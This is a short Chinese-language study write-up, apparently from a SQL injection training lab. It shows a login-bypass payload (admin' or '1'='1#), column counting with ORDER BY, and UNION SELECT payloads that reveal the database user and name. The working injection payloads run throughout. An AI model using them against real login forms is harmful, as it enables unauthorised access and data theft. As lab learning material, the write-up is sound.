在這一關卡我學到了
1.萬能密碼的構造,大概的去揣測正常的SQL語句是如何的。
2.
3.
00x1 SQL萬能密碼的構造
在登錄框當中可以添加了一個單引號。報錯信息如下所示:
據此報錯,我們大概的可以猜測其網站的正常是SQL語句如下:
$sql="select username,password from 表明 where username='$username' and password='$password' limit 0,1"
即使如此,那么來嘗試將其閉合。
賬號密碼同時嘗試輸入:admin' or '1'='1#
可見成功登陸。那么我們來分析一下原因吧。
當我們賬號輸入admin' or '1'='1的時候(密碼隨意填寫),到SQL語句里的執行就是
$sql="select username,password from 表明 where username='test' or '1'='1'
最后的那個單引號是系統自動加上去的。所以我們不必畫蛇添足。
至於密碼部分全部被#消除了。完整的sql語句是:
$sql="select username,password from 表明 where username='admin' or '1'='1# and password='$password' limit 0,1"
如此一來,系統會自動加一個單引號。就變成了如下語句:
$sql="select username,password from 表明 where username='admin' or '1'='1'"
如此一來就成功繞過了登陸進入網站的后台。
00x2 登陸框報錯注入
0x1猜字段數
order by 5的時候爆的時候出錯了。提示“不知道這個第五條”
直到2的時候頁面跟剛才不一樣了!
說明字段書是2
00x2 猜數據庫
Payload:123' union select database(),2#
再嘗試:123' union select concat(user(),0x2b,database(),0x2b),2#
Your Login name:root@localhost+security+
root權限,數據庫名為security
直接使用聯合查詢注入.......
THE END